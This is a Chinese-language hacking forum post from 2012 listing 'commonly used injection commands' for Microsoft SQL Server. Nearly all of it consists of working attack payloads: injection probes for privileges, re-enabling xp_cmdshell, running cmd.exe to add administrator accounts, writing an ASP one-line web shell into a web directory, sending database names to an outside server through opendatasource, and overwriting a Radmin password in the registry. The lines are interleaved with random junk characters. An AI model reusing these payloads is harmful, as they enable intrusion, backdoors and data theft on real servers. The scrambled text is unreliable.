找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2276|回复: 0
打印 上一主题 下一主题

常用的一些注入命令

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:40:13 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
//看看是什么权限的
  k0 a9 |$ _, L1 Yand 1=(Select IS_MEMBER('db_owner'))
- o$ Y# V  Z: f3 g+ `0 M7 A, W. R- C! PAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--8 @/ t3 ?, {9 i
% `- G0 J; X# h# S* z$ q1 e
//检测是否有读取某数据库的权限# @" w, f8 O" I% M& C4 f4 `
and 1= (Select HAS_DBACCESS('master'))
1 ]( ?5 M( \1 O3 E9 @And char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --* q9 a) S. q0 I* w8 v/ g7 F
1 Z: ]6 w! }" i( h

9 f# `0 f7 A4 i1 d6 d* r3 ^3 f数字类型
0 n. o' O0 n0 m& R6 c! nand char(124)%2Buser%2Bchar(124)=0
1 v3 b/ y9 S8 ~& Y  Y
# B1 q' z3 _. y字符类型
5 v+ M8 ^/ m$ o2 E( W' and char(124)%2Buser%2Bchar(124)=0 and ''='2 @  R; A( m5 L  h. N1 m: }6 `
- d* v. l$ B- u
搜索类型- q1 y4 ~5 {. V5 S
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
1 \  d- x6 w$ B, x8 a6 C6 q1 u0 Q7 T9 c( l
爆用户名
' J  `4 ^5 D, d8 k  O8 yand user>0
# s8 R4 S" i& c1 b' and user>0 and ''='
) c; N7 J* W* D
- |1 r2 |5 d1 e- ^8 z& q6 r; z; R检测是否为SA权限2 a9 x1 e. |% y1 g. e
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
2 i$ @6 |( c. s! p1 pAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
# I5 T$ T4 [0 f9 p, _/ A6 o9 ?+ y) f; r$ O0 u
检测是不是MSSQL数据库0 g: O) Z' J- X* y5 P
and exists (select * from sysobjects);--9 W9 Q; u& P+ j
4 J: P, p% @9 c
检测是否支持多行% _3 I+ P, {6 U' ^
;declare @d int;--
$ e; D) q- b, z) m8 j$ Z
. l1 ]2 H" X3 a" C3 F恢复 xp_cmdshell5 j1 Q0 t+ g( _; \$ K
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
; K# H0 C) I, o; g+ I/ g) M( q& \7 M- ^5 k
9 ~; E0 a. i! K
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
( U* h; w3 X% o' i: b1 k5 F5 @9 g
2 ?2 V3 g5 Y1 r$ R% ?3 l4 U//-----------------------
5 Q9 T3 X9 m9 O: S' {$ E//       执行命令
! x% T; t- k" E8 X+ L( V//-----------------------+ O3 ^7 [; i2 o0 |4 i
首先开启沙盘模式:
; Q+ {6 p7 l% S* g* X# ^' Zexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
! V. Y; Q  b" \# a6 I) C- N% S$ z
* M( T; z. U  ?' c然后利用jet.oledb执行系统命令
" x( L3 g7 _5 l2 d/ lselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
( M: F7 F0 {) e: k$ l( }1 l8 V- j2 X. B* S# U  X! @
执行命令
% `9 ^0 g) s# i! d0 }7 a4 @;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--
* F- n) |( t1 \& r6 F4 I
! r2 r& @( L6 HEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'( W  {' `% N3 I4 \3 o
& t4 e. `6 l, o6 w- }7 h9 A
判断xp_cmdshell扩展存储过程是否存在:  t) M- T! F7 w) t& v/ @% ~  u
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
$ C" N0 {" n& @+ e" Y5 n
$ G7 A- r; ?. W2 q% z; O写注册表
3 n' o0 W( G9 t" d9 ~3 x/ }exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1, ^; ~* f: p( @) ]  C; Z3 Y
% p  e  c- n3 s. m/ _/ |2 q- U  q
REG_SZ
1 _5 W4 s. w8 A. J7 N  h0 P+ @/ h! R2 E
读注册表
8 {* R- G& ]! l  Aexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
1 b8 c$ W- |4 F$ ^4 n! J8 ]; p- n% H0 O, d# \- h# C1 |
读取目录内容
8 J* X' x  x  M, j. q* qexec master..xp_dirtree 'c:\winnt\system32\',1,1
! d* V- V6 B) N& G7 ^( H6 Y4 x* i3 M6 ]  W- o6 r7 Q" }* M
6 a1 d0 D* L1 k1 f  S- Q9 b5 n4 d) N0 [
数据库备份
) \+ l9 ^+ [1 |6 Wbackup database pubs to disk = 'c:\123.bak'+ ~8 K; t- V0 U; m
3 S0 N  r0 T8 E! I! O
//爆出长度
' K7 a# Q6 R% t5 b6 \% \And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
  z* ~' S, O* I
8 |+ b$ y. n4 m, h4 M3 i' h: a5 ^
# m$ q  @1 b5 x' Q4 y$ @+ B3 }- [. H
更改sa口令方法:用sql综合利用工具连接后,执行命令:
! ^) p/ Y" ?* Jexec sp_password NULL,'新密码','sa', k1 g2 |  v6 R0 z8 i1 g
, c3 `. L; n+ _) o+ G: O
添加和删除一个SA权限的用户test:
7 I5 Q/ c. K7 I8 Hexec master.dbo.sp_addlogin test,9530772) f; E* {3 U  ~+ e
exec master.dbo.sp_addsrvrolemember test,sysadmin& j; i5 T" a# e& V. s& j* _* S6 ?

7 S0 Z4 Q+ ~% A5 u删除扩展存储过过程xp_cmdshell的语句:9 P9 V  H/ b: `1 S* x
exec sp_dropextendedproc 'xp_cmdshell'
1 z" |6 h% ]" D# O9 u7 _4 J% p* \. Y0 `( X
添加扩展存储过过程
2 a9 ?6 Y% `, }# E; n8 z0 QEXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'5 q4 Q4 {/ I% b) h/ \
GRANT exec On xp_proxiedadata TO public. K1 }1 {$ h+ {, c" P

) [5 u" U8 P/ f5 q: E/ e
4 h7 H9 d8 o* _! w8 {! d2 G停掉或激活某个服务。
) M0 Q% m" `' Q) k. E6 m* G
3 T+ ]+ P: t7 h& aexec master..xp_servicecontrol 'stop','schedule'% X2 w5 _0 \; p( D
exec master..xp_servicecontrol 'start','schedule'
; l9 k2 ]3 v- _
# x+ `" Y$ t+ Y7 I- adbo.xp_subdirs  D$ @" B* T1 L4 [

/ v  W' U( t/ P3 i, E/ P* b1 H只列某个目录下的子目录。
3 L& `9 L8 u( uxp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
: f7 D6 D# }! ~  A2 x- M
* J% S: s; r2 E. f! r4 ^! Odbo.xp_makecab  j  B! q3 X/ [! p+ ^8 _

- m1 _1 D9 j; m# H将目标多个档案压缩到某个目标档案之内。
+ \: u0 [- h0 v1 b% ]所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
! G" N# C' g. A; K4 h5 k$ A( t1 S3 {' [1 h& c5 ]; c: C- @! U
dbo.xp_makecab# V: U; R2 n/ H3 U6 V' H
'c:\test.cab','mszip',1,  V. E8 ?, C2 }$ Q9 U, H
'C:\Inetpub\wwwroot\SQLInject\login.asp',
# b( A0 c: F9 a8 X'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
. K3 |4 D1 k, I, C) g' H9 F6 k' \1 S  f8 K/ Q1 H. N* D' v. I6 e; x2 v
xp_terminate_process6 \# i! G! A0 V+ P0 d1 t% B* f
( y1 v/ n6 D- w: M
停掉某个执行中的程序,但赋予的参数是 Process ID。  ]$ e) E. Z8 e' O/ f+ g9 k
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID- B5 V- |+ q( e, m  |0 Y
' `# V3 u% [$ j, x
xp_terminate_process 2484
3 O) r' b9 `& s1 o5 K, J9 Q! {  l8 g
xp_unpackcab" s+ m# D8 o' N# x+ n

- i- Q3 @6 _5 `  V) C' Y: b6 ?+ Q+ }解开压缩档。
* c% p, Z  M* J1 I. G; j# J9 u4 t6 u7 u% Q% p* s0 V" @* \6 N
xp_unpackcab 'c:\test.cab','c:\temp',1
$ k( E( C/ I0 H; o4 E6 Q6 j) L' T6 q; p3 i
4 O, m) u3 F0 U! E- g: T1 B
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
8 ~/ Z/ R/ e6 O% R8 x8 o
# a, }# ~; j& @, I+ X9 Dcreate database lcx;
, W; Y, `; c9 Y% f. SCreate TABLE ku(name nvarchar(256) null);
. |; v# F. [: i4 a! tCreate TABLE biao(id int NULL,name nvarchar(256) null);% w) o  J" s, K& Z* D5 s' p3 G& l! n

( Q6 Q" B3 V, V1 z" c, s//得到数据库名
& @$ A( z; R- t+ I5 s0 U0 Ninsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
  G$ g9 h1 H9 \( |+ Y- n
$ n, w" D7 ~% N# G; \2 L9 o, f1 ^4 W! I8 Y9 Y; R
//在Master中创建表,看看权限怎样& d! b8 G- ?% t& ?' f' V3 @
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--
, O+ e6 I' v2 @, v/ h2 v4 s
' @% M. }: Z' s$ _6 ?) J9 _7 e6 y用 sp_makewebtask直接在web目录里写入一句话马:
2 N( _; P* ]6 A% J1 b9 I! y5 {http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--" `- i8 \. ]8 n- Y9 [. B

! N+ f7 m9 n' m. o0 R//更新表内容5 w1 a9 k+ H+ ?3 r- s
Update films SET kind = 'Dramatic' Where id = 123* `5 c( T# {6 t) M& J9 \' g

' C) ^; \9 O  a2 [4 N* Z- T//删除内容
0 ]- X! o* D" i: |# q9 zdelete from table_name where Stockid = 3
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表